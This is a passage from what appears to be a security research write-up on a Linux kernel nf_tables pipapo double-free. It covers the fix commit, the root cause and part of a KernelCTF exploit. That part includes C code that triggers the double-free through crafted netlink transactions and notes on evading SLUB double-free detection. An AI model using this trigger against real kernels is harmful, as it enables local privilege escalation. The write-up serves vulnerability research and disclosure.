05\n",{"type":24,"tag":83,"props":53619,"children":53620},{"class":85,"line":345},[53621],{"type":24,"tag":83,"props":53622,"children":53623},{},[53624],{"type":29,"value":10065},{"type":24,"tag":83,"props":53626,"children":53627},{"class":85,"line":358},[53628],{"type":24,"tag":83,"props":53629,"children":53630},{},[53631],{"type":29,"value":53632},"[16302.231917] Call Trace:\n",{"type":24,"tag":83,"props":53634,"children":53635},{"class":85,"line":367},[53636],{"type":24,"tag":83,"props":53637,"children":53638},{},[53639],{"type":29,"value":53640},"[16302.231919]  \u003CTASK>\n",{"type":24,"tag":83,"props":53642,"children":53643},{"class":85,"line":406},[53644],{"type":24,"tag":83,"props":53645,"children":53646},{},[53647],{"type":29,"value":53648},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":83,"props":53650,"children":53651},{"class":85,"line":427},[53652],{"type":24,"tag":83,"props":53653,"children":53654},{},[53655],{"type":29,"value":53656},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":83,"props":53658,"children":53659},{"class":85,"line":440},[53660],{"type":24,"tag":83,"props":53661,"children":53662},{},[53663],{"type":29,"value":53664},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":83,"props":53666,"children":53667},{"class":85,"line":449},[53668],{"type":24,"tag":83,"props":53669,"children":53670},{},[53671],{"type":29,"value":53672},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":83,"props":53674,"children":53675},{"class":85,"line":458},[53676],{"type":24,"tag":83,"props":53677,"children":53678},{},[53679],{"type":29,"value":53680},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":83,"props":53682,"children":53683},{"class":85,"line":1065},[53684],{"type":24,"tag":83,"props":53685,"children":53686},{},[53687],{"type":29,"value":53688},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":24,"tag":83,"props":53690,"children":53691},{"class":85,"line":1668},[53692],{"type":24,"tag":83,"props":53693,"children":53694},{},[53695],{"type":29,"value":53696},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":83,"props":53698,"children":53699},{"class":85,"line":1713},[53700],{"type":24,"tag":83,"props":53701,"children":53702},{"emptyLinePlaceholder":16},[53703],{"type":29,"value":3422},{"type":24,"tag":83,"props":53705,"children":53706},{"class":85,"line":1730},[53707],{"type":24,"tag":83,"props":53708,"children":53709},{},[53710],{"type":29,"value":53711},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":83,"props":53713,"children":53714},{"class":85,"line":1770},[53715],{"type":24,"tag":83,"props":53716,"children":53717},{},[53718],{"type":29,"value":53719},"elements in the lookup tables.\n",{"type":24,"tag":83,"props":53721,"children":53722},{"class":85,"line":1778},[53723],{"type":24,"tag":83,"props":53724,"children":53725},{"emptyLinePlaceholder":16},[53726],{"type":29,"value":3422},{"type":24,"tag":83,"props":53728,"children":53729},{"class":85,"line":1803},[53730],{"type":24,"tag":83,"props":53731,"children":53732},{},[53733],{"type":29,"value":53734},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":83,"props":53736,"children":53737},{"class":85,"line":1811},[53738],{"type":24,"tag":83,"props":53739,"children":53740},{},[53741],{"type":29,"value":53742},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":83,"props":53744,"children":53745},{"class":85,"line":8792},[53746],{"type":24,"tag":83,"props":53747,"children":53748},{},[53749],{"type":29,"value":53750},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":83,"props":53752,"children":53753},{"class":85,"line":8810},[53754],{"type":24,"tag":83,"props":53755,"children":53756},{},[53757],{"type":29,"value":53758},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":83,"props":53760,"children":53761},{"class":85,"line":8855},[53762],{"type":24,"tag":83,"props":53763,"children":53764},{},[53765],{"type":29,"value":53766},"to it).\"\n",{"type":24,"tag":83,"props":53768,"children":53769},{"class":85,"line":8961},[53770],{"type":24,"tag":83,"props":53771,"children":53772},{"emptyLinePlaceholder":16},[53773],{"type":29,"value":3422},{"type":24,"tag":83,"props":53775,"children":53776},{"class":85,"line":23248},[53777],{"type":24,"tag":83,"props":53778,"children":53779},{},[53780],{"type":29,"value":53781},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":83,"props":53783,"children":53784},{"class":85,"line":23283},[53785],{"type":24,"tag":83,"props":53786,"children":53787},{},[53788],{"type":29,"value":53789},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":83,"props":53791,"children":53792},{"class":85,"line":23291},[53793],{"type":24,"tag":83,"props":53794,"children":53795},{},[53796],{"type":29,"value":53797},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":25,"props":53799,"children":53800},{},[53801,53803,53808,53810,53815,53817,53822,53824,53829],{"type":29,"value":53802},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":32,"props":53804,"children":53806},{"className":53805},[],[53807],{"type":29,"value":50734},{"type":29,"value":53809}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":32,"props":53811,"children":53813},{"className":53812},[],[53814],{"type":29,"value":52059},{"type":29,"value":53816}," method by simply replacing the ",{"type":24,"tag":32,"props":53818,"children":53820},{"className":53819},[],[53821],{"type":29,"value":50734},{"type":29,"value":53823},"s match object with its updated clone. So checking the ",{"type":24,"tag":32,"props":53825,"children":53827},{"className":53826},[],[53828],{"type":29,"value":50688},{"type":29,"value":53830}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":25,"props":53832,"children":53833},{},[53834,53836,53841],{"type":29,"value":53835},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":32,"props":53837,"children":53839},{"className":53838},[],[53840],{"type":29,"value":50734},{"type":29,"value":53842},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":25,"props":53844,"children":53845},{},[53846,53848,53854,53856,53861,53863,53868],{"type":29,"value":53847},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":32,"props":53849,"children":53851},{"className":53850},[],[53852],{"type":29,"value":53853},"set->ops->destroy()",{"type":29,"value":53855}," could be called without clearing the ",{"type":24,"tag":32,"props":53857,"children":53859},{"className":53858},[],[53860],{"type":29,"value":50688},{"type":29,"value":53862}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":32,"props":53864,"children":53866},{"className":53865},[],[53867],{"type":29,"value":50726},{"type":29,"value":53869},"s, so they would all be in the clone set.",{"type":24,"tag":25,"props":53871,"children":53872},{},[53873,53875,53880],{"type":29,"value":53874},"But when the ",{"type":24,"tag":32,"props":53876,"children":53878},{"className":53877},[],[53879],{"type":29,"value":53442},{"type":29,"value":53881}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":25,"props":53883,"children":53884},{},[53885],{"type":29,"value":53886},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":51,"props":53888,"children":53890},{"id":53889},"kernelctf-exploit",[53891],{"type":29,"value":53892},"KernelCTF exploit",{"type":24,"tag":25,"props":53894,"children":53895},{},[53896,53898,53904,53906,53913],{"type":29,"value":53897},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":32,"props":53899,"children":53901},{"className":53900},[],[53902],{"type":29,"value":53903},"nft_object + udata",{"type":29,"value":53905}," technique shared by lonial con in a ",{"type":24,"tag":2033,"props":53907,"children":53910},{"href":53908,"rel":53909},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[2037],[53911],{"type":29,"value":53912},"previous kernelCTF exploit",{"type":29,"value":161},{"type":24,"tag":1818,"props":53915,"children":53917},{"id":53916},"trigger-uafavoid-double-free-detection",[53918],{"type":29,"value":53919},"Trigger UAF/avoid double-free detection",{"type":24,"tag":25,"props":53921,"children":53922},{},[53923,53925,53931,53933,53939],{"type":29,"value":53924},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":32,"props":53926,"children":53928},{"className":53927},[],[53929],{"type":29,"value":53930},"nft_set_pipapo_match_destroy",{"type":29,"value":53932}," iterates over the ",{"type":24,"tag":32,"props":53934,"children":53936},{"className":53935},[],[53937],{"type":29,"value":53938},"setelems",{"type":29,"value":53940}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":63,"props":53942,"children":53943},{},[53944,53949,53954,53959],{"type":24,"tag":67,"props":53945,"children":53946},{},[53947],{"type":29,"value":53948},"Element A gets freed",{"type":24,"tag":67,"props":53950,"children":53951},{},[53952],{"type":29,"value":53953},"Element B gets free",{"type":24,"tag":67,"props":53955,"children":53956},{},[53957],{"type":29,"value":53958},"Element A gets freed again (double-free)",{"type":24,"tag":67,"props":53960,"children":53961},{},[53962],{"type":29,"value":53963},"Element B gets freed again (double-free)",{"type":24,"tag":73,"props":53965,"children":53967},{"className":28861,"code":53966,"language":28863,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[53968],{"type":24,"tag":32,"props":53969,"children":53970},{"__ignoreMap":7},[53971,53978,54039,54046,54053,54061,54068,54075,54083,54107,54128,54162,54223,54230,54238,54290,54297,54323,54350,54389,54418,54447,54469,54476,54483,54490,54498,54505,54513,54526,54539,54559,54566,54574,54596,54628,54673,54709,54737,54744,54751,54759,54766,54782,54789],{"type":24,"tag":83,"props":53972,"children":53973},{"class":85,"line":86},[53974],{"type":24,"tag":83,"props":53975,"children":53976},{"style":107},[53977],{"type":29,"value":10065},{"type":24,"tag":83,"props":53979,"children":53980},{"class":85,"line":113},[53981,53986,53990,53995,53999,54004,54008,54013,54018,54022,54026,54030,54035],{"type":24,"tag":83,"props":53982,"children":53983},{"style":107},[53984],{"type":29,"value":53985},"static void trigger_uaf(",{"type":24,"tag":83,"props":53987,"children":53988},{"style":90},[53989],{"type":29,"value":9148},{"type":24,"tag":83,"props":53991,"children":53992},{"style":3163},[53993],{"type":29,"value":53994}," mnl_socket",{"type":24,"tag":83,"props":53996,"children":53997},{"style":90},[53998],{"type":29,"value":9563},{"type":24,"tag":83,"props":54000,"children":54001},{"style":137},[54002],{"type":29,"value":54003},"nl",{"type":24,"tag":83,"props":54005,"children":54006},{"style":107},[54007],{"type":29,"value":568},{"type":24,"tag":83,"props":54009,"children":54010},{"style":90},[54011],{"type":29,"value":54012},"size_t",{"type":24,"tag":83,"props":54014,"children":54015},{"style":137},[54016],{"type":29,"value":54017}," size",{"type":24,"tag":83,"props":54019,"children":54020},{"style":107},[54021],{"type":29,"value":568},{"type":24,"tag":83,"props":54023,"children":54024},{"style":90},[54025],{"type":29,"value":18786},{"type":24,"tag":83,"props":54027,"children":54028},{"style":90},[54029],{"type":29,"value":9563},{"type":24,"tag":83,"props":54031,"children":54032},{"style":137},[54033],{"type":29,"value":54034},"msgqids",{"type":24,"tag":83,"props":54036,"children":54037},{"style":107},[54038],{"type":29,"value":2905},{"type":24,"tag":83,"props":54040,"children":54041},{"class":85,"line":128},[54042],{"type":24,"tag":83,"props":54043,"children":54044},{"style":107},[54045],{"type":29,"value":10628},{"type":24,"tag":83,"props":54047,"children":54048},{"class":85,"line":183},[54049],{"type":24,"tag":83,"props":54050,"children":54051},{"style":107},[54052],{"type":29,"value":10065},{"type":24,"tag":83,"props":54054,"children":54055},{"class":85,"line":203},[54056],{"type":24,"tag":83,"props":54057,"children":54058},{"style":107},[54059],{"type":29,"value":54060},"    // TRANSACTION 2\n",{"type":24,"tag":83,"props":54062,"children":54063},{"class":85,"line":212},[54064],{"type":24,"tag":83,"props":54065,"children":54066},{"style":107},[54067],{"type":29,"value":10065},{"type":24,"tag":83,"props":54069,"children":54070},{"class":85,"line":256},[54071],{"type":24,"tag":83,"props":54072,"children":54073},{"emptyLinePlaceholder":16},[54074],{"type":29,"value":3422},{"type":24,"tag":83,"props":54076,"children":54077},{"class":85,"line":270},[54078],{"type":24,"tag":83,"props":54079,"children":54080},{"style":107},[54081],{"type":29,"value":54082},"    // create pipapo set\n",{"type":24,"tag":83,"props":54084,"children":54085},{"class":85,"line":302},[54086,54091,54095,54099,54103],{"type":24,"tag":83,"props":54087,"children":54088},{"style":107},[54089],{"type":29,"value":54090},"    uint8_t desc[2] = {",{"type":24,"tag":83,"props":54092,"children":54093},{"style":245},[54094],{"type":29,"value":40562},{"type":24,"tag":83,"props":54096,"children":54097},{"style":107},[54098],{"type":29,"value":568},{"type":24,"tag":83,"props":54100,"children":54101},{"style":245},[54102],{"type":29,"value":40562},{"type":24,"tag":83,"props":54104,"children":54105},{"style":107},[54106],{"type":29,"value":1071},{"type":24,"tag":83,"props":54108,"children":54109},{"class":85,"line":324},[54110,54115,54119,54124],{"type":24,"tag":83,"props":54111,"children":54112},{"style":107},[54113],{"type":29,"value":54114},"    set ",{"type":24,"tag":83,"props":54116,"children":54117},{"style":143},[54118],{"type":29,"value":1275},{"type":24,"tag":83,"props":54120,"children":54121},{"style":101},[54122],{"type":29,"value":54123}," create_set",{"type":24,"tag":83,"props":54125,"children":54126},{"style":107},[54127],{"type":29,"value":3208},{"type":24,"tag":83,"props":54129,"children":54130},{"class":85,"line":345},[54131,54136,54140,54145,54150,54154,54158],{"type":24,"tag":83,"props":54132,"children":54133},{"style":107},[54134],{"type":29,"value":54135},"        batch, seq",{"type":24,"tag":83,"props":54137,"children":54138},{"style":143},[54139],{"type":29,"value":50984},{"type":24,"tag":83,"props":54141,"children":54142},{"style":107},[54143],{"type":29,"value":54144},", exploit_table_name, ",{"type":24,"tag":83,"props":54146,"children":54147},{"style":187},[54148],{"type":29,"value":54149},"\"pwn_set\"",{"type":24,"tag":83,"props":54151,"children":54152},{"style":107},[54153],{"type":29,"value":568},{"type":24,"tag":83,"props":54155,"children":54156},{"style":245},[54157],{"type":29,"value":43218},{"type":24,"tag":83,"props":54159,"children":54160},{"style":107},[54161],{"type":29,"value":989},{"type":24,"tag":83,"props":54163,"children":54164},{"class":85,"line":358},[54165,54170,54174,54179,54183,54188,54192,54196,54200,54205,54210,54214,54218],{"type":24,"tag":83,"props":54166,"children":54167},{"style":107},[54168],{"type":29,"value":54169},"        NFT_SET_INTERVAL ",{"type":24,"tag":83,"props":54171,"children":54172},{"style":143},[54173],{"type":29,"value":10163},{"type":24,"tag":83,"props":54175,"children":54176},{"style":107},[54177],{"type":29,"value":54178}," NFT_SET_OBJECT ",{"type":24,"tag":83,"props":54180,"children":54181},{"style":143},[54182],{"type":29,"value":10163},{"type":24,"tag":83,"props":54184,"children":54185},{"style":107},[54186],{"type":29,"value":54187}," NFT_SET_CONCAT, KEY_LEN, ",{"type":24,"tag":83,"props":54189,"children":54190},{"style":245},[54191],{"type":29,"value":2867},{"type":24,"tag":83,"props":54193,"children":54194},{"style":107},[54195],{"type":29,"value":568},{"type":24,"tag":83,"props":54197,"children":54198},{"style":143},[54199],{"type":29,"value":2853},{"type":24,"tag":83,"props":54201,"children":54202},{"style":107},[54203],{"type":29,"value":54204},"desc, ",{"type":24,"tag":83,"props":54206,"children":54207},{"style":90},[54208],{"type":29,"value":54209},"NULL",{"type":24,"tag":83,"props":54211,"children":54212},{"style":107},[54213],{"type":29,"value":568},{"type":24,"tag":83,"props":54215,"children":54216},{"style":245},[54217],{"type":29,"value":1166},{"type":24,"tag":83,"props":54219,"children":54220},{"style":107},[54221],{"type":29,"value":54222},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":83,"props":54224,"children":54225},{"class":85,"line":367},[54226],{"type":24,"tag":83,"props":54227,"children":54228},{"emptyLinePlaceholder":16},[54229],{"type":29,"value":3422},{"type":24,"tag":83,"props":54231,"children":54232},{"class":85,"line":406},[54233],{"type":24,"tag":83,"props":54234,"children":54235},{"style":2735},[54236],{"type":29,"value":54237},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":83,"props":54239,"children":54240},{"class":85,"line":427},[54241,54245,54249,54253,54258,54262,54266,54270,54274,54278,54282,54286],{"type":24,"tag":83,"props":54242,"children":54243},{"style":117},[54244],{"type":29,"value":2777},{"type":24,"tag":83,"props":54246,"children":54247},{"style":107},[54248],{"type":29,"value":223},{"type":24,"tag":83,"props":54250,"children":54251},{"style":90},[54252],{"type":29,"value":18786},{"type":24,"tag":83,"props":54254,"children":54255},{"style":107},[54256],{"type":29,"value":54257}," i ",{"type":24,"tag":83,"props":54259,"children":54260},{"style":143},[54261],{"type":29,"value":1275},{"type":24,"tag":83,"props":54263,"children":54264},{"style":245},[54265],{"type":29,"value":248},{"type":24,"tag":83,"props":54267,"children":54268},{"style":107},[54269],{"type":29,"value":50948},{"type":24,"tag":83,"props":54271,"children":54272},{"style":143},[54273],{"type":29,"value":5552},{"type":24,"tag":83,"props":54275,"children":54276},{"style":245},[54277],{"type":29,"value":7681},{"type":24,"tag":83,"props":54279,"children":54280},{"style":107},[54281],{"type":29,"value":50979},{"type":24,"tag":83,"props":54283,"children":54284},{"style":143},[54285],{"type":29,"value":50984},{"type":24,"tag":83,"props":54287,"children":54288},{"style":107},[54289],{"type":29,"value":2905},{"type":24,"tag":83,"props":54291,"children":54292},{"class":85,"line":440},[54293],{"type":24,"tag":83,"props":54294,"children":54295},{"style":107},[54296],{"type":29,"value":28938},{"type":24,"tag":83,"props":54298,"children":54299},{"class":85,"line":449},[54300,54305,54310,54314,54319],{"type":24,"tag":83,"props":54301,"children":54302},{"style":137},[54303],{"type":29,"value":54304},"        elem",{"type":24,"tag":83,"props":54306,"children":54307},{"style":107},[54308],{"type":29,"value":54309},"[i] ",{"type":24,"tag":83,"props":54311,"children":54312},{"style":143},[54313],{"type":29,"value":1275},{"type":24,"tag":83,"props":54315,"children":54316},{"style":101},[54317],{"type":29,"value":54318}," nftnl_set_elem_alloc",{"type":24,"tag":83,"props":54320,"children":54321},{"style":107},[54322],{"type":29,"value":267},{"type":24,"tag":83,"props":54324,"children":54325},{"class":85,"line":458},[54326,54331,54336,54341,54345],{"type":24,"tag":83,"props":54327,"children":54328},{"style":101},[54329],{"type":29,"value":54330},"        memset",{"type":24,"tag":83,"props":54332,"children":54333},{"style":107},[54334],{"type":29,"value":54335},"(key, ",{"type":24,"tag":83,"props":54337,"children":54338},{"style":245},[54339],{"type":29,"value":54340},"0x41",{"type":24,"tag":83,"props":54342,"children":54343},{"style":143},[54344],{"type":29,"value":8649},{"type":24,"tag":83,"props":54346,"children":54347},{"style":107},[54348],{"type":29,"value":54349}," i, KEY_LEN);\n",{"type":24,"tag":83,"props":54351,"children":54352},{"class":85,"line":1065},[54353,54358,54362,54366,54371,54376,54380,54385],{"type":24,"tag":83,"props":54354,"children":54355},{"style":101},[54356],{"type":29,"value":54357},"        nftnl_set_elem_set",{"type":24,"tag":83,"props":54359,"children":54360},{"style":107},[54361],{"type":29,"value":558},{"type":24,"tag":83,"props":54363,"children":54364},{"style":137},[54365],{"type":29,"value":51778},{"type":24,"tag":83,"props":54367,"children":54368},{"style":107},[54369],{"type":29,"value":54370},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":83,"props":54372,"children":54373},{"style":187},[54374],{"type":29,"value":54375},"\"pwnobj\"",{"type":24,"tag":83,"props":54377,"children":54378},{"style":107},[54379],{"type":29,"value":568},{"type":24,"tag":83,"props":54381,"children":54382},{"style":245},[54383],{"type":29,"value":54384},"7",{"type":24,"tag":83,"props":54386,"children":54387},{"style":107},[54388],{"type":29,"value":581},{"type":24,"tag":83,"props":54390,"children":54391},{"class":85,"line":1668},[54392,54396,54400,54404,54409,54413],{"type":24,"tag":83,"props":54393,"children":54394},{"style":101},[54395],{"type":29,"value":54357},{"type":24,"tag":83,"props":54397,"children":54398},{"style":107},[54399],{"type":29,"value":558},{"type":24,"tag":83,"props":54401,"children":54402},{"style":137},[54403],{"type":29,"value":51778},{"type":24,"tag":83,"props":54405,"children":54406},{"style":107},[54407],{"type":29,"value":54408},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":83,"props":54410,"children":54411},{"style":143},[54412],{"type":29,"value":2853},{"type":24,"tag":83,"props":54414,"children":54415},{"style":107},[54416],{"type":29,"value":54417},"key, KEY_LEN);\n",{"type":24,"tag":83,"props":54419,"children":54420},{"class":85,"line":1713},[54421,54425,54429,54433,54438,54442],{"type":24,"tag":83,"props":54422,"children":54423},{"style":101},[54424],{"type":29,"value":54357},{"type":24,"tag":83,"props":54426,"children":54427},{"style":107},[54428],{"type":29,"value":558},{"type":24,"tag":83,"props":54430,"children":54431},{"style":137},[54432],{"type":29,"value":51778},{"type":24,"tag":83,"props":54434,"children":54435},{"style":107},[54436],{"type":29,"value":54437},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":83,"props":54439,"children":54440},{"style":143},[54441],{"type":29,"value":2853},{"type":24,"tag":83,"props":54443,"children":54444},{"style":107},[54445],{"type":29,"value":54446},"udata_buf, size);\n",{"type":24,"tag":83,"props":54448,"children":54449},{"class":85,"line":1730},[54450,54455,54460,54464],{"type":24,"tag":83,"props":54451,"children":54452},{"style":101},[54453],{"type":29,"value":54454},"        nftnl_set_elem_add",{"type":24,"tag":83,"props":54456,"children":54457},{"style":107},[54458],{"type":29,"value":54459},"(set, ",{"type":24,"tag":83,"props":54461,"children":54462},{"style":137},[54463],{"type":29,"value":51778},{"type":24,"tag":83,"props":54465,"children":54466},{"style":107},[54467],{"type":29,"value":54468},"[i]);\n",{"type":24,"tag":83,"props":54470,"children":54471},{"class":85,"line":1770},[54472],{"type":24,"tag":83,"props":54473,"children":54474},{"style":107},[54475],{"type":29,"value":446},{"type":24,"tag":83,"props":54477,"children":54478},{"class":85,"line":1778},[54479],{"type":24,"tag":83,"props":54480,"children":54481},{"style":107},[54482],{"type":29,"value":10065},{"type":24,"tag":83,"props":54484,"children":54485},{"class":85,"line":1803},[54486],{"type":24,"tag":83,"props":54487,"children":54488},{"emptyLinePlaceholder":16},[54489],{"type":29,"value":3422},{"type":24,"tag":83,"props":54491,"children":54492},{"class":85,"line":1811},[54493],{"type":24,"tag":83,"props":54494,"children":54495},{"style":107},[54496],{"type":29,"value":54497},"    // TRANSACTION 3\n",{"type":24,"tag":83,"props":54499,"children":54500},{"class":85,"line":8792},[54501],{"type":24,"tag":83,"props":54502,"children":54503},{"style":107},[54504],{"type":29,"value":10065},{"type":24,"tag":83,"props":54506,"children":54507},{"class":85,"line":8810},[54508],{"type":24,"tag":83,"props":54509,"children":54510},{"style":107},[54511],{"type":29,"value":54512},"    set = nftnl_set_alloc();\n",{"type":24,"tag":83,"props":54514,"children":54515},{"class":85,"line":8855},[54516,54521],{"type":24,"tag":83,"props":54517,"children":54518},{"style":101},[54519],{"type":29,"value":54520},"    nftnl_set_set_u32",{"type":24,"tag":83,"props":54522,"children":54523},{"style":107},[54524],{"type":29,"value":54525},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":83,"props":54527,"children":54528},{"class":85,"line":8961},[54529,54534],{"type":24,"tag":83,"props":54530,"children":54531},{"style":101},[54532],{"type":29,"value":54533},"    nftnl_set_set_str",{"type":24,"tag":83,"props":54535,"children":54536},{"style":107},[54537],{"type":29,"value":54538},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":83,"props":54540,"children":54541},{"class":85,"line":23248},[54542,54546,54551,54555],{"type":24,"tag":83,"props":54543,"children":54544},{"style":101},[54545],{"type":29,"value":54533},{"type":24,"tag":83,"props":54547,"children":54548},{"style":107},[54549],{"type":29,"value":54550},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":83,"props":54552,"children":54553},{"style":187},[54554],{"type":29,"value":54149},{"type":24,"tag":83,"props":54556,"children":54557},{"style":107},[54558],{"type":29,"value":581},{"type":24,"tag":83,"props":54560,"children":54561},{"class":85,"line":23283},[54562],{"type":24,"tag":83,"props":54563,"children":54564},{"emptyLinePlaceholder":16},[54565],{"type":29,"value":3422},{"type":24,"tag":83,"props":54567,"children":54568},{"class":85,"line":23291},[54569],{"type":24,"tag":83,"props":54570,"children":54571},{"style":2735},[54572],{"type":29,"value":54573},"    // make priv->dirty true\n",{"type":24,"tag":83,"props":54575,"children":54576},{"class":85,"line":23299},[54577,54582,54586,54591],{"type":24,"tag":83,"props":54578,"children":54579},{"style":101},[54580],{"type":29,"value":54581},"    memset",{"type":24,"tag":83,"props":54583,"children":54584},{"style":107},[54585],{"type":29,"value":54335},{"type":24,"tag":83,"props":54587,"children":54588},{"style":245},[54589],{"type":29,"value":54590},"0xff",{"type":24,"tag":83,"props":54592,"children":54593},{"style":107},[54594],{"type":29,"value":54595},", KEY_LEN);\n",{"type":24,"tag":83,"props":54597,"children":54598},{"class":85,"line":23308},[54599,54604,54608,54612,54616,54620,54624],{"type":24,"tag":83,"props":54600,"children":54601},{"style":137},[54602],{"type":29,"value":54603},"    elem",{"type":24,"tag":83,"props":54605,"children":54606},{"style":107},[54607],{"type":29,"value":1161},{"type":24,"tag":83,"props":54609,"children":54610},{"style":245},[54611],{"type":29,"value":17032},{"type":24,"tag":83,"props":54613,"children":54614},{"style":107},[54615],{"type":29,"value":1270},{"type":24,"tag":83,"props":54617,"children":54618},{"style":143},[54619],{"type":29,"value":1275},{"type":24,"tag":83,"props":54621,"children":54622},{"style":101},[54623],{"type":29,"value":54318},{"type":24,"tag":83,"props":54625,"children":54626},{"style":107},[54627],{"type":29,"value":267},{"type":24,"tag":83,"props":54629,"children":54630},{"class":85,"line":23350},[54631,54636,54640,54644,54648,54652,54657,54661,54665,54669],{"type":24,"tag":83,"props":54632,"children":54633},{"style":101},[54634],{"type":29,"value":54635},"    nftnl_set_elem_set",{"type":24,"tag":83,"props":54637,"children":54638},{"style":107},[54639],{"type":29,"value":558},{"type":24,"tag":83,"props":54641,"children":54642},{"style":137},[54643],{"type":29,"value":51778},{"type":24,"tag":83,"props":54645,"children":54646},{"style":107},[54647],{"type":29,"value":1161},{"type":24,"tag":83,"props":54649,"children":54650},{"style":245},[54651],{"type":29,"value":17032},{"type":24,"tag":83,"props":54653,"children":54654},{"style":107},[54655],{"type":29,"value":54656},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":83,"props":54658,"children":54659},{"style":187},[54660],{"type":29,"value":54375},{"type":24,"tag":83,"props":54662,"children":54663},{"style":107},[54664],{"type":29,"value":568},{"type":24,"tag":83,"props":54666,"children":54667},{"style":245},[54668],{"type":29,"value":54384},{"type":24,"tag":83,"props":54670,"children":54671},{"style":107},[54672],{"type":29,"value":581},{"type":24,"tag":83,"props":54674,"children":54675},{"class":85,"line":23383},[54676,54680,54684,54688,54692,54696,54701,54705],{"type":24,"tag":83,"props":54677,"children":54678},{"style":101},[54679],{"type":29,"value":54635},{"type":24,"tag":83,"props":54681,"children":54682},{"style":107},[54683],{"type":29,"value":558},{"type":24,"tag":83,"props":54685,"children":54686},{"style":137},[54687],{"type":29,"value":51778},{"type":24,"tag":83,"props":54689,"children":54690},{"style":107},[54691],{"type":29,"value":1161},{"type":24,"tag":83,"props":54693,"children":54694},{"style":245},[54695],{"type":29,"value":17032},{"type":24,"tag":83,"props":54697,"children":54698},{"style":107},[54699],{"type":29,"value":54700},"], NFTNL_SET_ELEM_KEY, 